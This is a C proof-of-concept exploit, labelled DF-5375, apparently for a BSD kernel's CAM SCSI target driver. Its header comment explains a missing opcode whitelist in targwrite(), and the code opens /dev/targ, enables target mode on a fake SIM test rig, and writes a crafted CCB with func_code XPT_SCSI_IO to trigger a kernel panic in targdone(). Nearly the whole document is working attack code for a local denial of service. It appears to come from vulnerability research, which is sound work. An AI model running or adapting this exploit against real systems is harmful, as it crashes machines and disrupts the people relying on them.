/*
 * DF-5375 PoC: no func_code whitelist in targwrite() -> arbitrary queued
 * XPT opcode forwarded to xpt_action() -> completion lands in targdone()
 * whose default case is panic("targdone: impossible xpt opcode").
 *
 * scsi_target.c:584-632 (targwrite) accepts ANY user-supplied func_code;
 * for queued codes it goes targstart -> targusermerge (copies the whole
 * ccb payload from user memory) -> targsendccb -> xpt_action.  XPT_SCSI_IO
 * (0x901) is a queued initiator opcode no target daemon may inject; when
 * the SIM completes it, targdone (scsi_target.c:837-850) panics on the
 * default switch case.
 *
 * Rig: targsim kld (target-capable fake SIM).  TARGIOCENABLE targets
 * (hw.targsim.path_id, 0, 0).
 *
 * Expected: "panic: targdone: impossible xpt opcode 0x901" on the serial
 * console (vm.sh log), guest dies.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/sysctl.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_targetio.h>

static int
sysctl_int(const char *name)
{
	int v = 0;
	size_t l = sizeof(v);

	if (sysctlbyname(name, &v, &l, NULL, 0) < 0) {
		fprintf(stderr, "[-] sysctl %s: %s\n", name, strerror(errno));
		exit(1);
	}
	return (v);
}

int
main(void)
{
	struct ioc_enable_lun en;
	union ccb uccb;
	unsigned long p;
	int fd, path_id;

	path_id = sysctl_int("hw.targsim.path_id");
	printf("[*] DF-5375: targsim bus=%d; open+enable target mode\n",
	    path_id);

	fd = open("/dev/targ", O_RDWR);
	if (fd < 0) {
		printf("[-] open: %s\n", strerror(errno));
		return (1);
	}
	memset(&en, 0, sizeof(en));
	en.path_id = path_id;
	en.target_id = 0;
	en.lun_id = 0;
	if (ioctl(fd, TARGIOCENABLE, &en) < 0) {
		printf("[-] TARGIOCENABLE: %s\n", strerror(errno));
		return (1);
	}
	printf("[+] target mode enabled; injecting func_code=XPT_SCSI_IO "
	    "(0x%x) via write()\n", (unsigned)XPT_SCSI_IO);

	memset(&uccb, 0, sizeof(uccb));
	uccb.ccb_h.pinfo.priority = 5;
	uccb.ccb_h.func_code = XPT_SCSI_IO;	/* XPT_FC_DEV_QUEUED */
	uccb.ccb_h.flags = CAM_DIR_NONE;
	p = (unsigned long)(uintptr_t)&uccb;

	printf("[*] write() queued opcode -> targstart -> targsendccb -> "
	    "xpt_action -> SIM completes -> targdone panic NOW\n");
	fflush(stdout);
	ssize_t n = write(fd, &p, sizeof(p));
	printf("[-] write returned %zd (errno=%d) - no panic?\n", n, errno);
	sleep(3);
	printf("[-] still alive - NOT reproduced\n");
	return (0);
}
